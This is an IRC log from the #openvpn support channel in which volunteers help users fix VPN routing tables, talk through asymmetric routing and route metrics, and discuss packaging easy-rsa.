20:05 < nitram__> so I just got kicked
20:06 < mapps> you see what Skapare  said nitram__
20:06 < mapps> <Skapare> that way we can see them and maybe see the difference
20:06 < mapps> <Skapare> it might be routing TOO MUCH over the tunnel, for example
20:06 < nitram__> on top of that... the openvpn on recreation lost all the open ports and I'm effectively locked out of my own machine
20:07 < mapps> how did it lose open ports
20:07 < Skapare> and if the vpn remote gets routed into its own tunnel it won't really get there
20:07 < nitram__> hmm, nevermind, someone remapped my ssh daemon to listen on a different port on that machine it seems
20:07 < mapps> the ports arent to do with openvpn? not quite sure how thats happened
20:07 < mapps> aha
20:07 < mapps> :)
20:08 < mapps> sometimes advantageous not to use the default ports
20:08 < mapps> you get people port scanning default port nums
20:08 < Skapare> nitram__: when I am administering a machine where there is any risk of a mistake locking me out, the first thing I do is make sure I do it in a way where a reboot will restore things ... and ... I set up a screen session with the command "sleep 1800 && reboot" (root) ... so if I goof up, I just wait for it to reboot
20:08 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
20:08 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 264 seconds]
20:09 -!- altermann_ [~none@S0106001a92ebc516.vs.shawcable.net] has joined #openvpn
20:09 < Skapare> of course, be sure ti kill the timed reboot when done
20:09 < mapps> how would that help..sorry its a stupid q
20:10 < mapps> i dont use screen much
20:10 < mapps> sleep means do nothing?
20:10 < nitram__> Skapare: it'll restore on reboot... but if I lock myself out of my machine, the person I get services from is helpful
20:10 < Skapare> it means you will have a fallback from locking self out of a machine
20:11 < Skapare> sleep will wait how long you say ... the "&&" means do the next command only if the previous command succeeds so you can press ^C to kill it w/o the reboot command going anyway
20:11 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has quit [Ping timeout: 260 seconds]
20:11 < mapps> ah
20:11 -!- altermann_ is now known as altermann
20:11 < mapps> so say u messing with ifconfig and worried u may lose connections youd do screen then sleep 1800 && reboot
20:11 < mapps> and if u screwed up and lose connection it'd sleep for 1800seconds is that? then reboot?
20:11 < Skapare> nitram__: OK, that's good, too ... so you are not that seriously locked out
20:12 < nitram__> ttp://codepad.org/nsfLsBYb
20:12 < nitram__> no, and those are my routes
20:12 < Skapare> well the sleep time starts when you start that command ... you have a half hour to do you config ... if you goof up 15 minutes later, wait 15 more minutes
20:12 < Skapare> use whatever timing you like for the sleep
20:12 < mapps> aha
20:12 < mapps> yea
20:12 < mapps> ok thanks
20:13 < nitram__> I use dtach + dvtm
20:13 < mapps> so it is in seconds
20:13 < mapps> thanks mate
20:14 < Skapare> so what host can you no longer reach when starting openvpn?  all of them including the paste site?
20:14 < Skapare> 0.0.0.0/1 via 10.29.112.9 dev tun0 <<--- that one looks wrong
20:14 < nitram__> I can't reach them thru enp3s0
20:14 < nitram__> (which is my equiv of eth0)
20:15 < nitram__> how do you delete a route again then?
20:15 < Skapare> look in your config for any route with 0.0.0.0/1 on it
20:15 < mapps> damn confusing i thought u had enp6s0
20:15 < Skapare> ip route del 0.0.0.0/1 via 10.29.112.9 dev tun0
20:15 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 245 seconds]
20:15 < nitram__> um... enp6s0 was my local machine (just assumed it was the same since both run archlinux
20:16 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
20:16 < Skapare> just copy&paste the route line from "ip route show" ... but not past the double space "  " ... and put ip route del in front
20:16 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:17 < nitram__> hehe, that brought online my original enp3s0
20:17 < Skapare> do you have 0.0.0.0 in any of your openvpn config files, or any scripts you use to start it?
20:17 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
20:17 < nitram__> tho... I think I'm now disconnected from the openvpn ssh shell
20:18 < nitram__> ugh, such bad wording
20:18 < nitram__> the ssh shell tunneled thru openvpn got dropped rather
20:18 < nitram__> could it be that the default is to route all thru local?
20:18 < Skapare> what address was ssh going to?
20:18 < nitram__> which, openvpn or physical?
20:18 < Skapare> yes, that is the default you have ... default via 192.168.1.1 dev enp3s0
20:19 < Skapare> if you want to route everything through the tunnel , you can ... except of course don't do that for the non-tunnel IPs that openvpn needs to connect to
20:19 < nitram__> how would I route specific ports tunneled and others non tunneled?
20:20 < nitram__> or is that a ridiculous idea?
20:20 < Skapare> so you would make a specific route to the target openvpn connects to, via your non-tunnel gateway IP ... then for all the rest you decide
20:20 < Skapare> routes affect hosts, not ports ... you'd need some more complex iptables rules to play with ports
20:21 < nitram__> so I will lose my mind eventually right?
20:21 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
20:21 < Skapare> that might be a yes for iptables
20:21 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 260 seconds]
20:21 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has left #openvpn []
20:21 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
20:21 < nitram__> hmm, removing that rule we spoke of earlier makes no packets go trhu tun0
20:23 < Skapare> if I knew all the things you were intending to do, and all the IPs of your machines and networks, I could make a correct route table
20:23 < mapps> yea nitram__  put down the interfaces and IPs onto pastebin
20:24 < nitram__> it's kind of dynamic considering some ppl would connect to services that are enp3s0 only and others would connect to the ones that end up on tun0
20:24 < Skapare> this looks like your critical route to the remote openvpn ... 64.191.29.112 via 192.168.1.1 dev enp3s0
20:24 < Skapare> the rest, other than "default" one, I don't know your intentions
20:25 < Skapare> this looks like a bad one because it routes HALF the IPv4 space via the tunnel ... 0.0.0.0/1 via 10.29.112.9 dev tun0
20:25 < nitram__> to be able to choose on a whim to do certain things on eth0 and others on tun0
20:25 < nitram__> I removed that rule
20:26 < Skapare> one safe way to do only route networks reachable at the other end through the tunnel ... only what you want to use ... and let the original default route via 192.168.1.1 take everything else outside the tunnel
20:26 < Skapare> when you have the whim ... add the route
20:27 < Skapare> make a script to do it for you so you can have a simpler command
20:27 < nitram__> that doesn't work if multiple ppl are connecting on a service that is running on tun0?
20:27 < Skapare> yeah, that gets more complicated ... it's your issue to figure out ... openvpn doesn't know about people
20:28 < nitram__> so neither can be used simultaneously without adding in a specific route per ip connected
20:28 < Skapare> you have to decide if you want to tunnel them ore not, based on what their destination IP is
20:28 < Skapare> you could base it on source IP with advanced iptables features ... but that's beyond openvpn help
20:29 < Skapare> you can't have packets go both ways ... if you have two routes that match, one of them till be used
20:30 < Skapare> till=will
20:30 < nitram__> wait, the vpn I connect to pushes my routes to me?
20:30 < Skapare> it can
20:30 < mapps> you can push routes in server conf
20:30 < Skapare> it SHOULD only do that for addresses it has on its end
20:31 < Skapare> but you have to trust them
20:32 < mapps> yea
20:32 < mapps> but
20:32 < Skapare> if they are pushing bad routes, don't connect
20:32 < nitram__> 128.0.0.0/1 via 10.29.112.9 dev tun0
20:32 < nitram__> what is your thought on that route?
20:32 < mapps> how can u the client know if the sewrver is pushing bad routes?
20:32 < Skapare> that's the other half of the whole IPv4
20:33 < nitram__> mapps: I believe they design their rules around a specific network structure and debian (I don't qualify for the latter)
20:33 < Skapare> if they do routes for bother 0.0.0.0/1 and 128.0.0.0/1 then they are overriding your default route
20:33 < Skapare> bother=both
20:33 < Skapare> delete BOTH of those
20:34 < Skapare> I didn't see that 2nd one
20:34 < nitram__> I did... now I still cant make a connection from outside to the openvpn tunnel
20:34 < Skapare> "from outside" meaning from another machine on your LAN?
20:34 < nitram__> or ping out
20:34 < nitram__> on the internet
20:35 < Skapare> look at your route table for a machine where you are trying to go to
20:36 < Skapare> "ip route get <IPaddress>" should tell you where it will go
20:36 < nitram__>  ip route get 8.8.8.8
20:36 < nitram__> 8.8.8.8 via 192.168.1.1 dev enp3s0  src 192.168.1.22
20:36 < nitram__>     cache
20:37 < Skapare> wow, your on-LAN machine has the same IP as mine ... .22
20:37 < nitram__> um, this is the one running openvpn
20:37 < mapps> Skapare,  did you see what i asked or am i just being stupid
20:38 -!- raidz is now known as raidz_away
20:38 < Skapare> mapps: I don't know, other than looking at the route table and seeing bad ones there
20:38 < mapps> ahh ok
20:39 < mapps> so a client couldnt knowbefore it connects
20:39 < Skapare> and I see bad-like ones there ... which try to send ALL your packets via the tunnel
20:39 < mapps> as the server can push routes badly..if i chose to push routes in server.conf right?
20:39 < Skapare> don't connect to servers that push bad routes
20:39 < mapps> yea
20:39 < mapps> but im asking how would u know before connecting
20:39 < mapps> sorry
20:40 < Skapare> but it may or may not be bad ... depends if you want ALL your internet traffic to go over the runnel (sometimes this is wanted)
20:40 < mapps> yea
20:40 < mapps> i do..i turned it on
20:40 < Skapare> to know before connecting, ask them
20:40 < mapps> by default all traffic isnt routed over the VPN surely?
20:40 < Skapare> if they push nothing, sure
20:40 < mapps> aha ok:D wondered if there was some kind of directive you can put in a client config file
20:40 < mapps> but i guess not
20:41 < Skapare> by default it all goes by way of your "default" route, which most network init scripts do right ... and you can change
20:41 < mapps> i used redirect-gateway pushed in serever.conf to make ALL my data go over VPN -- which i use on my iphone using the openVPN app
20:41 < mapps> but
20:42 < Skapare> and you may want that to hide your pr0n surfing from your phone carrier :)
20:42 < mapps> here;s something odd...ok so i connect to my vpn it wors..i browse the net/use soundcloud and all data goes over vpn right? then later 30mins or so nothing works..go to vpn and it says 'pause network unavaliable' BUT the vpn is still up..my vpn servers net is on and if i click disconnect in the ap and then reconnect it works fine
20:42 < mapps> Any ideas what would be causing this to say network unavaliable?
20:42  * Skapare hides his slashdot commenting from Comcast
20:43 < Skapare> which network is unavailable?
20:43 < mapps> the VPN - the openVPN app will say 'pause (network unavaliable)_ i still have 3g and full signal BUT as its using VPN i cant use the net..then as i say if i disconnect vpn and reconnect immediately it works
20:43 < mapps> the VPN isnt down ..but after a bit on thew iphone it says network unavaliable..i cant think why what could cause it..obviously first check vpn is up..check net..and both are
20:44 < mapps> so what could i have done wrong in the client or server conf -- as it DOES work for 30mins or so..and then each time i reconnect it works..very oidd
20:44 < Skapare> that could just be a brief outage of 1st or 2nd layer network ... like lost radio signal for a minute
20:44 < mapps> it happens here though
20:44 < mapps> if im not moving
20:45 < Skapare> I get almost no internet via my smartphone at home ... cell tower is behind a hill
20:45 < Skapare> barely get voice ... SMS takes minutes sometimes
20:45 < Skapare> yet Comcast gives me 10 to 12 mbps
20:45 < nitram__> what if I get rid of default route?
20:45 < Skapare> so when at home I use Skype for voice now
20:46 < mapps> maybe i my vpn is on my home computer its just for testing atm really..so what if I was to connct from wifi to my vpn using my internet IP ..i could see if it does the same thing as when using over 3g? if it doesnt then it could be the 3g signal??
20:46 < Skapare> if you get rid of default route (and already got rid of those "bad" routes with /1) then packets for many addresses will have nowhere to go
20:47 < Skapare> I see no reason to delete the default route ... if you want all packets to default to the tunnel, then change the route ... give it a "via" address of the far end of the tunnel
20:48 < nitram__> hmm, don't know their gateway....
20:48 < Skapare> 10.29.112.9
20:49 < Skapare> or .10
20:49 < Skapare> but use .9 since some existing routes already do
20:49 < mapps> shold i try Skapare ?
20:49 < nitram__> so I have to chooes between all traffic working either on the vpn or on the physical but not both
20:49 < Skapare> whatever you want ... be sure you know how to undo it
20:50 < Skapare> you can pick and choose by address by adding your own routes to decide
20:52 < Skapare> to send packets to my server via tunnel ... ip route add 76.73.75.160/29 via 10.29.112.9
20:52 < Skapare> I don't know if they will get there on that tunnel
20:53 < Skapare> then see if you can get to http://ip.ipal.net/
20:53 <@vpnHelper> Title: Your IP address is 2607:fc50:1001:5200::2 (at ip.ipal.net)
20:53 < Skapare> vpnHelper has IPv6 :)
20:54 < nitram__> I just blew my mind, this is more than I can understand currently, first time dealing with VPN
20:54 < nitram__> however, neat thing here
20:54 < Skapare> it takes about 3 years to take all this in ... you've only scratched the surface and smelled it
20:54 < Skapare> so you better get started today :)
20:55 < nitram__> if I try to connect to the vpn ip on the ssh port, it'll hang and wait, however, if I try on a different port to get the ssh service, it flat out says Connection refused
20:55 < mapps> so now Skapare  im connected to my VPN over wifi now on my local network using the external IP -0 the ip id use to connect to it from my 3g or anywhere else -- to see if it does the same
20:55 < nitram__> so the packets get there, they aren't being sent back thru the same way they were sent in
20:55 < mapps> if it says 'pause network unavaliablke' any suggestions
20:55 < Skapare> when it says refused, nothing was listening on that port and the OS told you (this can be turned off with iptables on their end)
20:56 < Skapare> sorry, no idea for 'pause network'
20:56 < nitram__> Skapare: wouldn't that be my OS, not their's?
20:56 < Skapare> if you get connection refused, packets got to the host
20:56 < mapps> damn
20:56 < mapps> its very odd because it makes no sense hey..when the nets up..vpn server on and i can literally disconnect and reconnect that second and itll work
20:57 < nitram__> wait, so it sent out a packet denying the connection over the same route thru which the packet came?
20:57 < Skapare> their host sent an RST packet in TCP protocol ... your OS gave the status to your client program ... which looked up an English message for you
20:57 < Skapare> hosts can be set up to not send RST packets for connection attemps
20:57 < nitram__> their host or my OS?
20:58 < Skapare> not necessarily same route ... "asymmetric routing" can happen ... returns come another way (but this almost always fails if NAT is involved somewhere)
20:58 < nitram__> NAT is involved on both server and client (shouldn't be involved on VPN tunnel)
20:59 < Skapare> nitram__: you can do it on your host if the OS is nice enough (like Linux with iptables installed) ... if you do, others trying to connect to you would not get that RST packet
20:59 < nitram__> asymetric routing? is that where it's routed based on where it came from or routed based on a "lets use this device this time idea"
20:59 < Skapare> if the NAT is involved, then the return packets are coming back via the tunnel
21:00 < Skapare> some firewalls also resequence packets, and asymmetric routing or asymmetric ARPing will fail (had such a firewall at my previous job)
21:01 < nitram__> basically, I want to use tun0 as a second physical device, and use eth0 as a physical device, but can't have routes per device huh
21:01 < Skapare> asymmetric routing is packets coming back via a different way
21:02 < Skapare> in most cases you want symmetric routing ... but there are some cases where asymmetric routing has benefits ... usually in large ISPs
21:03 < Skapare> or with special equipment ... about 5 jobs ago we did asymmetric routing over 2 ADSL links for a customer ... one of the ADSLs was wire backwards
21:03 < Skapare> that way he had 6 mbps in both directions over two twisted pairs
21:03 < mapps> what does that mean hmm
21:04 < mapps> packets coming back in a diff way?
21:04 < Skapare> normally an ADSL back then was 6mbps down, 384k up
21:05 < Skapare> that customer needed faster speed up ... so we arranged for a 2nd ADSL working in a reversed way
21:05 < Skapare> but we had to do asymmetric routing to get traffic to go over the faster paths for hime
21:05 < mapps> ah
21:06 < Skapare> the hard part was getting the phone company to do a backwards ADSL ... it was just a modem option, but they didn't have "business procedures" for it (the engineer there knew exactly what we wanted, when we finally talked to him)
21:07 < nitram__> I want routes per device I think... and I may know a way after googling
21:07 < Skapare> turns out we were not the first to do such a thing ... but the office people didn't jave that in their knowledge base
21:08 < Skapare> I got to go ... things to set up for tomorrows test
21:09 < nitram__> cya :) thanks for all the help
21:09 -!- _bt [~bt@unaffiliated/bt/x-192343] has quit [Ping timeout: 246 seconds]
21:09 -!- toothe [~mongolian@unaffiliated/toothe] has quit [Ping timeout: 246 seconds]
21:09 < nitram__> you too maps
21:09 < nitram__> mapps:
21:09 < nitram__> *
21:09 -!- toothe [~mongolian@mail.janisary.us] has joined #openvpn
21:10 -!- _bt [foobar@77.240.12.157] has joined #openvpn
21:10 < mapps> cya mate
21:10 -!- toothe [~mongolian@mail.janisary.us] has quit [Client Quit]
21:10 < mapps> il be here for a while so far my vpn hasnt lose connection
21:10 < mapps> *lost
21:10 < mapps> my iphones still connected over it..we shall see
21:13  * Skapare is testing different ways to connect multiple LAN at my employer's office to multiple VPC subnets in the AWS cloud
21:14 -!- JSharpe_ [~JSharpe@31.205.63.22] has joined #openvpn
21:16 -!- JSharpe [~JSharpe@h88-150-184-34.host.redstation.co.uk] has quit [Ping timeout: 264 seconds]
21:18 -!- xrosnight [~quassel@61.144.205.61] has quit [Ping timeout: 264 seconds]
21:19 < mapps> aws?:)
21:20 -!- JSharpe__ [~JSharpe@31.205.63.22] has joined #openvpn
21:24 -!- JSharpe_ [~JSharpe@31.205.63.22] has quit [Ping timeout: 260 seconds]
21:30 < Skapare> amazon web services ... a large cloud provider we use
21:34  * ecrist futzes with AWS
21:35 < mapps> ah course i know amazon web services just didnt think what aws was
21:35 < mapps> duh silly me
21:35 < Skapare> futzes with making a SlackBuild script to make a Slackware installable package of easy-rsa
21:36 < Skapare> Slackware has openvpn but no easy-rsa
21:36 < mapps> oh
21:36 < mapps> cant u just do easy-rsa from source
21:36 < mapps> is there not a source package or something
21:36 < Skapare> that's what I did
21:36 < rob0> !easy-rsa
21:36 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads
21:37 < Skapare> well, there is a web site on github
21:37 < Skapare> hmmm ... that is a different one
21:38 -!- rhagu1 [~Johannes@dslb-088-065-055-105.pools.arcor-ip.net] has joined #openvpn
21:41 -!- rhagu [~Johannes@dslb-088-065-058-040.pools.arcor-ip.net] has quit [Ping timeout: 264 seconds]
21:42  * Skapare wonders if that whole tarball should be part of the package made for Slackware
21:43 < Skapare> it is not for the CentOS/EL/RH rpm
22:17 <@ecrist> AWS is kind of neat, but the pricing model is competitive for static web servers
22:37 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has joined #openvpn
22:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
22:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
22:48 -!- piele_ [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 246 seconds]
22:48 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
22:49 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 246 seconds]
22:55 -!- emid [~emid@192.241.162.156] has joined #openvpn
22:55 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-bzyynnimdmpeauus] has quit [Read error: Connection reset by peer]
22:57 < Skapare> ecrist: maybe someone will make a generic AMI to run an openvpn secured gateway for a VPC
22:58 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-hqbfrfchrqjzgbny] has joined #openvpn
22:58 < Skapare> everything AWS offers now for gateways is IPsec based and intended for hardware peering
22:59 < rob0> Skapare, IMO it's wrong to include easy-rsa with openvpn, because easy-rsa or similar CA/PKI utility should not be run on an openvpn server. Ideally it would be maintained on a machine without a direct Internet connection.
23:00 < rob0> And it should not be run as root, either. Copy the easy-rsa files into your $HOME.
23:01 < Skapare> I would agree with all that ... RedHat seems to not
23:02 < Skapare> but I still would want to see it as a package of its own
23:11 < Skapare> well, maybe not ... easy-rsa is not really being easier than scripts I wrote for openssl long ago
23:12 < Skapare> my scripts removed the interactive stuff ... easy-rsa doesn't
23:14 < Skapare> I'll have to rewrite my scripts to be appropriate for openvpn, instead of for web servers
23:52 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Fri Sep 20 2013
00:23 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
00:29 -!- Milos_ [~Milos@60-234-198-177.bitstream.orcon.net.nz] has joined #openvpn
00:31 -!- Milos [~Milos@60-234-198-177.bitstream.orcon.net.nz] has quit [Ping timeout: 248 seconds]
01:10 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:36 -!- muh-die-1uh is now known as muh-die-kuh
01:43 -!- master_o1_master [~master_of@p4FD7BDB5.dip0.t-ipconnect.de] has joined #openvpn
01:46 -!- master_of_master [~master_of@p4FF24E80.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
01:49 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
01:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:51 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
01:53 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
02:18 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:20 -!- troydm [~troydm@unaffiliated/troydm] has joined #openvpn
02:20 < troydm> hello all, i'm connecting to a vpn server that pushes back a dns server using dhcp-option, how do i override it?
02:21 < troydm> i've tried route-nopull with route and dhcp-option but without any luck
02:31 -!- [ilin] [~ilin@unaffiliated/ilin] has joined #openvpn
02:32 < [ilin]> !configs
02:32 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
02:34 < mapps> hello
02:41 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 240 seconds]
02:56 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
03:01 -!- troydm [~troydm@unaffiliated/troydm] has quit [Ping timeout: 264 seconds]
03:15 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
03:16 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
03:17 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
03:20 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
03:25 -!- byon [uoqp@103.1.136.211] has joined #openvpn
03:25 < byon> hello all
03:25 < byon> sup.
03:25 < byon> hey is anybody around?
03:26 < [ilin]> byon, yes
03:27 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
03:27 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:27 -!- xTz is now known as Guest73933
03:29 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
03:35 < byon> hello!
03:35 < byon> do you know if the licensing for the users are perpetual?
03:36 < byon> i see the prices on openvpn.net are not so competitive compared to sonicwall/fortigate
03:36 < byon> vpn appliances
03:43 < [ilin]> byon, i dont know.
03:50 < byon> ok.
03:50 < byon> ill wait for novaflash
03:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
03:53 -!- byon [uoqp@103.1.136.211] has quit [Read error: Connection reset by peer]
03:53 -!- byon [uoqp@103.1.136.211] has joined #openvpn
04:05 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
04:07 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
04:21 -!- Milos_ is now known as Milos
04:35 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:16 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 260 seconds]
05:23 -!- Guest73933 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
05:23 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
05:39 <@novaflash> hello
05:40 <@novaflash> oh hey i have op here when did that happen
05:40 <@novaflash> was someone looking for me specifically?
05:40 <@novaflash> byon?
05:43 -!- sybariten [~jake@s83-191-227-49.cust.tele2.se] has quit [Read error: Operation timed out]
05:53 -!- sybariten [~jake@s83-191-227-49.cust.tele2.se] has joined #openvpn
06:05 -!- mattock is now known as mattock_afk
06:07 -!- mattock_afk is now known as mattock
06:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:22 -!- Bretos [~bretos@vps.tyborek.pl] has quit [Remote host closed the connection]
06:22 -!- mattock is now known as mattock_afk
06:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:34 -!- mattock_afk is now known as mattock
06:51 -!- rhagu1 [~Johannes@dslb-088-065-055-105.pools.arcor-ip.net] has left #openvpn []
07:13 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
07:13 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
07:13 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
07:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:31 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:31 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:31 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:36 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:51 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
08:04 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
08:08 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Client Quit]
08:13 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
08:14 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
08:16 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
08:21 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
08:22 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
08:22 < Kuba> hey
08:23 < Kuba> I've set up a server on my home router and I'd like to set up all my lapops to automatically connect to it in order to achive multi homed environment; however what to do when connecting to VPN from inside home network which has obviously the same addressing scheme?
08:24 < Kuba> Could you please tell me why this routing table doesn't "work"? http://pastebin.com/raw.php?i=294Ab24y
08:24 < Aketzu> same network cannot be in two places at the same time
08:24 < Kuba> well, is there a way to set a priority on one of the routes to be very low?
08:25 < Aketzu> "metric" is the priority of routes
08:25 < Kuba> so that whenever two routes with the same network are available the physical wins?
08:25 < Kuba> Aketzu: would that work here?
08:25 < Kuba> just to set metric for route on tap0?
08:25 < Aketzu> route which is most specific and has lowest metric wins
08:26 < Kuba> as you can see here wlan0 got metric 9
08:26 < Aketzu> but it is much easier just to change addresses in the other network
08:26 < Kuba> and tap0 is none?
08:26 < Kuba> none == 0?
08:28 -!- zamba [marius@flage.org] has joined #openvpn
08:28 < zamba> i'm getting lots and lots of these in my syslog: write UDPv4 [ECONNREFUSED]: Connection refused (code=111)
08:28 < zamba> what can i do about them>?
08:28 < Kuba> zamba: this porbably means you hae no connection to the server
08:29 < zamba> Kuba: but i do.. the connection is working just fine
08:36 -!- mattock is now known as mattock_afk
08:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:39 -!- Intensity [~Intensity@unaffiliated/intensity] has quit [Quit: leaving]
08:41 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
08:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
08:43 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Ping timeout: 245 seconds]
08:43 < Kuba> Aketzu: okay, so I've set high metric on tap0
08:44 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:44 < Kuba> Aketzu: but I'm not able to connect to the host
08:45 -!- Roelke_ [~Roelke@hostserv.nl] has joined #openvpn
08:47 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
08:47 -!- Roelke [~Roelke@hostserv.nl] has quit [Quit: No Ping reply in 90 seconds.]
08:47 -!- trumee [~parul@93.186.147.20] has quit [Ping timeout: 245 seconds]
08:47 -!- Serano_ [~serano@rooty.be] has quit [Ping timeout: 245 seconds]
08:47 -!- jefferai [~quassel@kde/mitchell] has quit [Quit: No Ping reply in 180 seconds.]
08:47 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
08:48 -!- trumee [~parul@93.186.147.20] has joined #openvpn
08:48 -!- Serano [~serano@rooty.be] has joined #openvpn
08:49 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
08:50 < Aketzu> Kuba: then you told that your computer that default gateway goes through vpn
08:52 -!- wallbroken [~wallbroke@151.56.246.53] has quit []
08:52 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
09:02 -!- mattock_afk is now known as mattock
09:05 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
09:10 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:20 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:40 -!- Bretos1 [~Bretos@vps.tyborek.pl] has joined #openvpn
09:43 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
09:44 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
09:51 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:54 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 248 seconds]
10:13 -!- raidz_away is now known as raidz
10:19 -!- altermann [~none@184.69.128.118] has joined #openvpn
10:21 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
10:25 -!- takamichi [~takamichi@217.23.15.212] has quit [Quit: Computer has gone to sleep.]
10:27 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
10:36 -!- darkapp [~dark@unaffiliated/darkapp] has joined #openvpn
10:37 < darkapp> does my hardware address et leaked when connecting to a website via openvpn?
10:38 < Aketzu> no
10:39 < darkapp> lol ok
10:40 < darkapp> there by chance any literature on the subject, written by openvpn people
10:40 < darkapp> ?
10:44 -!- FluxD [~FluxD@unaffiliated/fluxd] has quit [Remote host closed the connection]
10:45 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has quit [Ping timeout: 240 seconds]
10:45 < Kuba> darkapp: there are a lot of things that can be leaked out
10:45 < Kuba> darkapp: depends on what data your browser sends to the server
